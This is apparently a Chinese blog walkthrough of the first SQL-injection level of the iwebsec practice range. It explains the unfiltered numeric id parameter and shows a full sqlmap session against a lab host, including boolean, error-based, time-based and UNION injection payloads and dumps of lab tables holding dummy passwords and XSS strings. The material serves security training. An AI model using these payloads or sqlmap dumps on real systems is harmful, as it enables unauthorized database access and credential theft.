天天看点

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入前言第01关 数字型注入总结

目录

文章目录

前言

第01关 数字型注入

1.源码分析

2. sqlmap渗透

总结

前言

iwebsec靶场的SQL注入关卡共13关SQL注入漏洞,覆盖了数字型注入、字符型注入、报错型盲注、布尔型盲注、时间型盲注以及各种过滤绕过的注入,外加上二次注入,是SQL注入知识点覆盖较为全面的一个靶场。

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入前言第01关 数字型注入总结

第01关 数字型注入

打开靶场,url为 http://192.168.71.151/sqli/01.php?id=1 如下所示

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入前言第01关 数字型注入总结

1.源码分析

如下所示,对传入的参数id并未进行过滤。

sql语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

故而存在数字型注入

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入前言第01关 数字型注入总结

2. sqlmap渗透

基于iwebsec靶场的SQL注入笔记主要以sqlmap工具自动化渗透为主,故而渗透时使用sqlmap工具,命令如下

sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch
           

 如下所示注入成功,发现union query查询的数字型注入

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入前言第01关 数字型注入总结

 完整交互如下

[email protected]:~$ sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.11#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:20:12 /2022-11-24/

[21:20:13] [INFO] testing connection to the target URL
[21:20:13] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:20:13] [INFO] testing if the target URL content is stable
[21:20:13] [INFO] target URL content is stable
[21:20:13] [INFO] testing if GET parameter 'id' is dynamic
[21:20:13] [WARNING] GET parameter 'id' does not appear to be dynamic
[21:20:13] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[21:20:13] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[21:20:13] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[21:20:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:20:13] [WARNING] reflective value(s) found and filtering out
[21:20:14] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[21:20:14] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
[21:20:14] [INFO] testing 'Generic inline queries'
[21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[21:20:14] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[21:20:14] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[21:20:14] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[21:20:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[21:20:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:20:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable                                                                                                     
[21:20:14] [INFO] testing 'MySQL inline queries'                                                                                                                                                                                           
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'                                                                                                                                                                      
[21:20:14] [WARNING] time-based comparison requires larger statistical model, please wait. (done)                                                                                                                                          
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries'                                                                                                                                                                                
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'                                                                                                                                                        
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'                                                                                                                                                                  
[21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'                                                                                                                                                         
[21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:20:24] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[21:20:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:20:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:20:24] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:20:24] [INFO] target URL appears to have 3 columns in query
[21:20:24] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (2397=2397) THEN 1 ELSE (SELECT 9949 UNION SELECT 5355) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2678 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(2678=2678,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3668 FROM (SELECT(SLEEP(5)))vjAy)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6b71,0x456c514d62616f4b7a7651664c6f6b4e72567142766663796152416b674642714e7350626d456542,0x716b7a6271),NULL,NULL-- -
---
[21:20:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[21:20:24] [INFO] fetching current database
current database: 'iwebsec'
[21:20:24] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:20:24] [INFO] fetching current database
[21:20:24] [INFO] fetching tables for database: 'iwebsec'
[21:20:24] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'xss' in database 'iwebsec'
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 1  | iwebsec                            |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[21:20:24] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[21:20:24] [INFO] fetching columns for table 'users' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'users' in database 'iwebsec'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[21:20:24] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[21:20:24] [INFO] fetching columns for table 'user' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'user' in database 'iwebsec'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[21:20:24] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[21:20:24] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | [email protected]     | pass1    | user1                                                |
| 2  | [email protected]     | pass2    | user2                                                |
| 3  | [email protected]     | pass3    | user3                                                |
| 4  | [email protected]     | admin    | admin                                                |
| 5  | [email protected]           | 123      | 123                                                  |
| 6  | [email protected]          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | [email protected] | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[21:20:24] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[21:20:24] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[21:20:24] [WARNING] your sqlmap version is outdated

[*] ending @ 21:20:24 /2022-11-24/
           

实际上在进行注入时,选择的命令是--current-db --dump这样就可以将当前数据库的内容全部打印出来,相对而言更加快捷。

总结

SQL注入主要分析几个内容

(1)闭合方式是什么?iwebsec的第一关关卡为数字型,无闭合

(2)注入类别是什么?这部分是普通的数字型注入,使用union法即可注入成功

(3)是否过滤了关键字?很明显通过源码,iwebsec的数字型关卡无过滤任何信息

了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的数字型注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。